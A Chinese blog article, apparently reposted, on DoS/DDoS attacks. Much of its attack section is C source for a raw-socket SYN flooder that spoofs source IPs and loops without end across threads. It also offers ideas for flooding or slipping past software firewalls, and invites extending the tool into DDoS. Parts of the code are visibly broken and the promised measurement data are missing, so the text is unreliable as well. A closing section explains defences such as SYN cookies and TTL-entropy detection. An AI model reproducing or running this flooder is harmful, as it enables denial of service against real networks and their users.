ddos 网络攻击原理及其实现

来源:互联网 发布:新网域名过户方法 编辑:程序博客网 时间:2024/06/03 10:58
1.引言
假设这样一种情况,那就是人类本身已经完全进化以至于具有这种机能——无论A、B两者身处时空的何种情况下,都可以在需要沟通的情况下立即相互沟通,并且这种沟通不会影响其他人;也不会被其他人影响。此时,网络就不会存在了。因为网络本身就是 为了弥补人类在沟通上面的“天生缺陷”而被建立的。比如说电话网络可以使距离较远的两者进行语言交流,移动电话网络更是如此。
因此,网络自从出生的那一刻起,就可以被定义为一种管理概念。我们依靠为网络建立的抽象概念(协议等),以及为了将这些概念具体化的工具(程序,类库),利用现有资源,尽可能(我们希望如此)地进行信息交流。但是由于这种管理机制自身存在的许多缺陷,才会涌现出各式各样的病毒、木马、攻击程序……遗憾的是这种缺陷是永远无法全部弥补的(就好比人无完人),任何系统都不可能尽善尽美(即使我们为了弥补漏洞作出巨大努力并且取得相应功效)。
在这个基础之上,Dos ddos攻击作为攻击方式中较为特殊的一种,它并不依赖与操作系统本身的漏洞(比方所ms06-001漏洞的攻击程序没有办法在Unix系统上面有任何收获),而是依赖网络本身这个概念的“漏洞”进行攻击的,因此它不依赖于平台,并且可以在较长一段时间内发挥作用。

2.dos ddos 原理
Dos攻击的基本原理是是利用合理的服务请求来占用过多的服务资源,致使服务超载,无法响应其他合法用户的请求。服务资源可以是网络带宽、文件系统空间容量、开放的进程或者向内的连接等等。这种攻击会导致资源的匮乏,所以无论计算机的处理速度多么快、内存容量多么大、互连网的速度多么快都无法避免这种攻击带来的后果。当服务资源匮乏时,对其他合法用户造成的影响就像是所请求的服务被拒绝一样。

Dos的攻击流程如下:
首先攻击者向服务器(被攻击者)发出带有虚假用户地址的合理请求,服务器回复请求后等待用户响应消息,由于用户地址是虚假的,服务器无法得到相应的用户响应,在等待一段时间(数秒)后该连接和相应的资源才会因超时而释放。
在此期间连接会占用一定的服务器和网络资源,当服务器接收到过多的这种连接时就会耗尽资源而对正常用户的服务请求产生拒绝现象,由此产生拒绝服务攻击。典型的Dos攻击如Tcp Flooding等。

Ddos攻击流程如下:
Ddos是一种基于Dos攻击,采用分布式、协作式的新型攻击方法.一个完整的Ddos攻击体系共分为4层,除被攻击者外,包括攻击者、控制傀儡机a和攻击傀儡机在内的其它3层都间接或直接参与了整个攻击过程。
首先攻击者通过特定的攻击程序扫描并入侵网络上存在安全漏洞的主机,在这些主机上植入类似于“木马”的后门程序,再将被入侵主机分为Handle和zombie两部分。通常Handle较少,并不直接参与攻击过程,而zombie是直接攻击源,数量巨大。攻击开始后,Zombie根据Handler发出的指令,这个指令的执行时间往往是Handler上的后门程序预先设置好的,同时向被攻击者发出攻击数据流,该攻击流为普通Dos攻击。

这样一来,问题就明朗了,提炼一下信息:所谓的dos ddos攻击就是用大量无用信息使被攻击着失去处理有用信息的能力,达到“拒绝服务”目的。基于这个原则,我们有许多想法,可以写出丰富多彩的程序。但是在这些众多的想法中,有优有劣,为表明方法优劣,我们定义每千条指令延迟

每千条指令延迟:指攻击端平均发出千条指令时被攻击端延迟情况。延迟情况根据实际分为:1)微有些卡,但不影响正常操作2)比较卡,打开程序明显变慢3)十分卡,打开程序需要较长时间4)死机

为了取得的数据准确,我们在本机建立虚拟机。根据取得的数据[1],我们进行了数据拟合,并且取得以下图形
Syn-flooding发送udp数据包发送icmp数据包(ping)代理服务器攻击
(数据还没有取得,Ethereal用的不熟练)

            根据结果,可以看到:
Syn-flooding早已经成为经典,它采用极小的代宽牺牲对被攻击者产生重创。相比之下,udp tcmp对己方的带宽牺牲巨大。而代理服务器则上在已经取得大量代理的情况下,采取分布式攻击攻击。攻击者在攻击过程是可以断开的。因此是较特殊的方法。

3.Dos Ddos的c语言实现

1)Syn-flooding
正常的两台机器使用tcp协议的通信的时候,会经过一个三次握手的过程。这样A、B之间建立通行通道,可以进行数据传输。如果在建立握手的过程中,A对B进行欺骗,使其认为握手邀请是C发出的。(这个握手请求包就叫syn包)此时B向C发出握手回应。但是此时C不会对A反映。这样,A就必须在一段时间里保持半连接状态。以次达到消耗A资源的目的。
由这个分析我们可以看到,Syn-flooding成功的关键就是那次欺骗。为了欺骗的完成,我们需要做的事情很简单,那就是伪造ip地址,然后借此向被攻击方不断发送syn报文。
这里的报文指的是ip 和tcp报文。为了我们能够有效的分析和修该它们,我将它们的结构展现如下:

ip报文结构(version4)
版本首部长度服务类型数据报长度(字节)
16位表识标志13位分段偏移
寿命上层协议首部检查和
32位源ip地址
32 位目的 ip地址
选项(如果有的话)
数据(有效载荷)
为了对应ip数据报表,我们建立tag_ip_Header结构体,装载ip数据表头:

typedef struct tag_ip_Header//ip首部  
{  
unsigned char h_verlen;//4位首部长度,和4位IP版本号  
unsigned char tos;//8位服务类型  
unsigned short total_len;//16位数据报总长度  
unsigned short ident;//16位标志  
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)  
unsigned char ttl;//8位生存时间  
unsigned char proto;//8位上层协议  
unsigned short checksum;//16位ip首部效验和  
unsigned int SourceIP;//伪造32位源IP地址  
unsigned int DestIP;//被攻击32位目的ip地址  
}IPHEADER;  

同时,对于ip表头我们作出简单分析:
l版本号。不同ip版本使用不同的数据报格式。通过查看版本号,路由器可确定如何解释ip数据报的剩余部分。
l首部长度。用来确定该ip报表的有效负载从那里开始。
l服务类型。将不同类型的ip数据报加以区别。(有些报表要求低延迟,高吞吐和可靠;有些却没有要求这么高)
l数据报总长度。加上头部数据的数据报总长度。
l表识、标志、片偏移。涉及到数据报具体情况。
l寿命。每次数据报经过一台路由器,该字段减1,减为0时数据报被丢弃。
l上层协议。这个很好理解。为6时,表示数据部分交给 TCP,17给UDP。
l首部检查和。采用一定的方法[2],路由对每个收到的ip数据报计算首部检查和,如果这个结果和数据报中携带的数值一样的话,数据报被保留;否则被丢弃。我们在实际编程过程中也需要修改数据报的首部检查和,使得报表不被丢弃。

Tcp 数据报表。
源端口#目标端口#
序号
确认号
首部长度保留未用标志字段接受窗口
因特网检查和紧急数据指针
选项
数据
同样,我们定义tag_tcp_Header,装载tcp报头
typedef struct tag_tcp_Header  
{  
USHORT th_sport;//伪造端口  
USHORT th_dport;//攻击端口  
unsigned int th_seq;//32位系列号  
unsigned int th_ack;//32位确认号  
unsigned char th_lenres;//4位首部长度,6位保留字  
unsigned char th_flag;//6位标志位  
USHORT th_win;//16位窗口大小  
USHORT th_sum;//16位效验和  
USHORT th_urp;//  
}TCPHEADER;  
那么,这里还有一个tcp 的简单介绍:
l序号字段和32 位确认号字段:用来实现可靠数据传输服务。
l接收窗口。用于流量控制。
l首部长度字段。和ip一样。
l选项。当发送方于接受方协商最大报文段长度。
l标志字段。(标志包括URG.ACK.PSH.RST.SYN.FIN)
lACK用于确认字段中的值是有效的。这是一个在握手邀请被接受的时候返回的字段。
lSYN就是我们要用到的握手要求字段。

掌握了报文的格式,那么我们就要想办法获得报文。其实整个程序真正发挥作用的是那个sendto 函数。这里采用MFC中winsock2的相关函数sendto发送报文。


Sendto()
功能:向一指定目的地发送数据。
int sendto (
  SOCKET s,                 //一个表识套接口的描述字       
  const char FAR * buf,  //包含待发送数据的缓冲区。          
  int len,                         //buf长度
  int flags,                       //调用方式标志位。
  const struct sockaddr FAR * to,  //指向目的套接口的地址。
  int tolen                               //tolen就是to长了
);

我们用一个伪装的ip和tcp数据报,用sendto函数向目标地址发送。这简直太简单了!

//填充Tcp首部  
int SourcePort =GetTickCount()*1986%514;  
tcpHeader.th_dport=htons(port);  
tcpHeader.th_sport=htons(SourcePort);  
tcpHeader.th_seq=htonl(0x12345678);  
tcpHeader.th_ack=0;  
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);  
tcpHeader.th_flag=2;  
tcpHeader.th_win=htons(620);  
tcpHeader.th_urp=0;  
tcpHeader.th_sum=0;  
//填充TCP伪首部用来计算TCP头部的效验和  
psdHeader.saddr=ipHeader.SourceIP;  
psdHeader.daddr=ipHeader.DestIP;  
psdHeader.mbz=0;  
psdHeader.ptcl=IPPROTO_TCP;  
psdHeader.tcpl=htons(sizeof(tcpHeader));  

//发送数据包  
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));  
if(Syn==SOCKET_ERROR)  
{  
return false;  
}  
}  

但是我们需要注意的就是 ,在ip数据报中,存在一个叫做校验和的东西,为了使得我们精心修改的数据表能够有效发送,还需要对伪装的效验和计算,并且将它加到报表中去。这个计算依靠效验和的定义。

这些,如果使用c++来实现,可以利用MFC中winsock2.h,ws2tcpip.h中提供的类。由于手头没有书,我通过查看msdn和这两个头文件代码得到了一些理解。

//计算效验和  
USHORT checksum(USHORT *buffer,int size)  
{  
unsigned long check=0;  
while(size>1)  
{  
check+=*buffer++;  
size -=sizeof(USHORT);  
}  
if(size)  
{  
check += *(USHORT*)buffer;  
}  
check = (check >>16) + (check & 0xffff);  
check += (check >>16);  
return (USHORT)(~check);  
}  

首部检查和计算方法
在相关资料中,首部检查和是这样定义的:首部检查和用语帮助路由器检测收到的数据报中的比特错误。受部检查和是这样计算的:将首部中的每两个字节当作一个数,用1的补码运算对这些数求和。该和按1 的补码值(又称因特网检查和)存放在检查和字段。
这里所谓的补码 是计算机技术中一项基本内容。为了说明补码,我们说明模数系统:
模数从物理意义上讲,是某种计量器的容量。例如,我们日常生活中的用的钟表,模数就是12。钟表计时间是 0—11。这在数学上是一种“取模”计算。此时
8-2=8+10
上式之所以成立,是因为2和10 对模数12是互补的(2+10=12)
那没,在计算机中,又是用什么来作为模数的了?计算机中,机器表示数据的字节是固定的。对于n位数来说,模数的大小是:n为数全为1,最后一位再加一。换为二进制,若有n位整数,它的模数为 ;若为n位小数,小数点前一位为符号位,它的模数为2。据此,我们可以理解那些计算效验和的代码片段。

最后,我们还要再写一些东西让程序跑起来:
//攻击线程  
DWORD WINAPI Statr(void)  
{  
SOCKET sock;  //攻击中sock的实体
WSADATA WSAData;  
SOCKADDR_IN syn_in;  
IPHEADER ipHeader;  
TCPHEADER tcpHeader;  
TSDHEADER psdHeader;  
const char *addr = "127.0.0.1";//攻击的IP地址  
int port = 135;//要攻击的端口  
if(WSAStartup(MAKEWORD(2,2),&WSAData))  
{  
return false;  
}  //启动错误
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)  
{  
return false;  
}  //sock错误
BOOL flag=true;  
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)  
{  
return false;  
}  //sock错误
int Time =888;  
if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)  
{  
return false;  
}  //sock错误
syn_in.sin_family = AF_INET;  
syn_in.sin_port = htons(port);  
syn_in.sin_addr.S_un.S_addr = inet_addr(addr);  

然后,开始填充报表
while(TRUE)  
{  
//填充IP首部  
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));  
ipHeader.tos=0;  
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));  
ipHeader.ident=1;  
ipHeader.frag_and_flags=0;  
ipHeader.ttl=(unsigned char)GetTickCount()%514+620;  
ipHeader.proto=IPPROTO_TCP;  
ipHeader.checksum=0;  
ipHeader.SourceIP=htonl(GetTickCount()*1986);  
ipHeader.DestIP=inet_addr(addr);  
//填充Tcp首部  
int SourcePort =GetTickCount()*1986%514;  
tcpHeader.th_dport=htons(port);  
tcpHeader.th_sport=htons(SourcePort);  
tcpHeader.th_seq=htonl(0x12345678);  
tcpHeader.th_ack=0;  
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);  
tcpHeader.th_flag=2;  
tcpHeader.th_win=htons(620);  
tcpHeader.th_urp=0;  
tcpHeader.th_sum=0;  
//填充TCP伪首部用来计算TCP头部的效验和  
psdHeader.saddr=ipHeader.SourceIP;  
psdHeader.daddr=ipHeader.DestIP;  
psdHeader.mbz=0;  
psdHeader.ptcl=IPPROTO_TCP;  
psdHeader.tcpl=htons(sizeof(tcpHeader));  

计算这个报表的效验和

//计算校验和  
char SendBuff[100]=;  
memcpy(SendBuff, &psdHeader, sizeof(psdHeader));  
memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));  
tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));  
memcpy(SendBuff, &ipHeader, sizeof(ipHeader));  
memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));  

发送数据包

//发送数据包  
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));  
if(Syn==SOCKET_ERROR)  
{  
return false;  
}  
}  
closesocket(sock);  
WSACleanup();  
return true;  
}  


int APIENTRY WinMain(HINSTANCE hInstance,  
HINSTANCE hPrevInstance,  
LPSTR lpCmdLine,  
int nCmdShow)  
{ //启动线程,我们定义为10。具体根据机器和网络情况修改  
for(int i=0;i<10;i++)  
{  
hFind
[I-1]=createThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);  
i--;  
}  
return 0;  
}

这样,完成了一个简单的dos攻击的过程。如果想修改成ddos或者代有输入输出以及IDE界面的软件,都是可能的。

 我们在文章一开头就提及dos ddos是依靠网络本身定义的。从我们的分析和代码可以看出来,我们使用的都是最为基本的函数,类,库。
事实上,如果仔细观察报表,就可以看到一些东西。比方说ip的“寿命”,那么我们是否可以通过修改寿命数据,使得数据包永远都不会消失;在tcp报文中有一端空数据,是否可以用来承载攻击数据。我以后再想吧。
还有,通过学习ip报文我们可以看到,我们也是可以修改发送方的ip地址的。这个方法和修改接受方的ip地址是十分相似的。


2)发送udp数据包, 发送icmp数据包(ping)

如果我们看一下UDP报文,很多问题就可以解释。

源端口#目的端口#
长度检查和
应用数据(报文)
所谓的udp攻击就是不断发送无用的udp报文,使得服务器处于一个繁忙的状态。
相比syn 这显然缺少了一个有效占据资源的机能,所以我们一般不写这样的代码。如果要写,也是用sendto .
而icmp攻击,我理解就是用ping的方法进行对被攻击者的资源占据。这次依然用到的是sendto 。这是我看别人写的代码发现的。但是sendto 不是用来发送报文的吗?具体怎么实现的我没有细看。显然,icmp也具有udp攻击的弱点,那就是对己方资源的消耗巨大。

3)代理服务器攻击
当我们通过代理服务器请求目标主机的某个页面后,迅速和代理服务器断开来连接,可是代理服务器不会马上断开,还会在一段时间内请求目标。如果我们在短时间内发出高密度的请求;同时被请求的网页又是具有数据库的动态网页,就可以立刻给被攻击者造成数据堵塞。

这里非常要注意到的,为什么我们请求的最好是具有数据库的动态网页了。因为这些网业每次请求数据的时候都会在整个数据库中进行一次搜索。这是极其占据机器内存的。

3.对软件防火墙的分析
winxp_sp2防火墙可以过滤掉一些ddos攻击包,当然了,这并不代表你发出的 syn包它接受不道,而是对方依赖防火墙可以不产生这种半连接状态。就防火墙,我想应该有两种应对方法
1)直接Flood防火墙,使防火墙卡死;
2)想办法绕过防火墙。

对于前者,我们做了一次类似的测试
Syn-flooding发送udp数据包发送icmp数据包(ping)代理服务器攻击
(还是没有数据)
同时,如果我们想解决后者,就要分析一下现在较为成熟的软放火墙技术(关于硬件防火墙我不很了解)

1)syn_cookie技术
当服务器收到TCP SYN报文,通常做法是马上为这次连 接分配一个缓冲区,建立半开连接,并存储连接状态,直到 三次握手完成。TCP SYN攻击就是利用了这种做法,在分配了缓冲区后并不完成三次握手,使得缓冲区无法释放,从而消耗了系统资源。SYN-cookie技术的具体做法是:服务器收到TCP SYN报文,不按通常做法那样为该连接分配一个缓冲区,而是只计算生成cookie,然后作为SYN ACK报文的TCP初始序列号,随该报文返回。该做法的关键是服务器端并不为此次连接存储任何信息,这属于无状态的握手。当服务器收到一个来自非活动套接字的ACK报文时,系统将检查该报文的确认号(对 应于 SYN ACK 报文的初始序列号加 1)是否含有相关合法cookie,如果cookie合法,系统将为此分配缓冲区,正式建立连接。否则丢弃该报文。
SYN-cookie技术使TCP三次握手成为一种无状态握手有效的解决了系统资源消耗现象,同时能有效识别出合法TCP ACK报文。而时间参数t的引入,有效的防止了重放攻击。在后面的具体实行中,密钥k只能由防火墙生成,并分发给边界路由器用于检验cookie合法性。还有时间参数t也需要防火墙和各边界路由器校准同步。

2)计异常检测技术
我们采用了基于报文TTL( 指的就是寿命)字段下的源IP地址统计分布特性的异常检测方式,其基于以下假设:
(1)当报文在两主机间传送,如果路由相同,则跳数相同,这意味着初始TTL的减少值相同;
(2)在较短时间内发送的报文,路由基本相同;
(3)路由并不经常改变;
(4)即使路由改变了,也不会引起显著的跳数改变,即接收端的TTL字段改变不大。
以上四点可归结为路由的相对稳定性,即来源于某特定IP地址的报文,其IP首部TTL字段相对稳定。于是对于特定TTL字段,其对应的源IP地址的统计分布相对固定。当某攻击源发送攻击报文时,虽然该报文伪造源IP地址,但其所经过的路由路径(其决定了某个 TTL值)只由真实来源决定,因
此相对固定。所以这会造成报文流在某个TTL值下所对应的源IP地址的统计分布特性发生变化。于是相应的,具有该TTL值的报文更有理由被怀疑是攻击报文。这里采用信息熵来表示特定TTL值下的源IP地址统计分布特性。我们以此为特定TTL值下某源IP地址的条件出现概率。
         在此,我们可以把在某段连续报文流中特定TTL值下某个IP地址的出现频率近似为该IP地址的条件出现概率p。
由此我们可以通过检测该熵值的变化来检测特定TTL值下源IP地址随机分布特性的变化。
当检测到某特定TTL 值下的熵值发生变化,如果熵值变大,表明具有该TTL值的报文,其源IP地址分布更加随机,
        我们可以怀疑具有该TTL值的报文有很大一部分是随机伪造
        源IP地址的攻击报文,于是在报文过滤时,具有该TTL值的
报文将有更大比例被丢弃;如果熵值变小,我们可以认为该TTL值对应的某些IP地址增加了报文发送量,这将被怀疑成这些IP地址正发送具有真实源IP地址攻击流,过滤器也应该更大比例的丢弃具有该TTL值的报文。遵循以上判断方法,就能在攻击检测中提取攻击特征,并生成过滤规则提交给过滤
器。
3)红名单技术
      与通常的黑名单的作用相反,“红名单”技术基本思想是设立已经建立的TCP连接的标识列表,在报文过滤时,对经过的TCP报文提取其TCP连接标识,如果该标识属于上述列表,则通过该报文,否则将其丢弃。一个TCP连接由收发双方的IP地址和端口号共四个值96bit惟一确定,我们可以将其作为标识。或者也可将这四个值串联,生成短hash(就是一种独立唯一的生成方法)摘要作为标识。我们可以将已经建立的TCP连接的标识列于表(红名单)中,如果某TCP报文所针对TCP 连接不在“红名单”中,则可判为是非法报文,被抛弃掉。


原创粉丝点击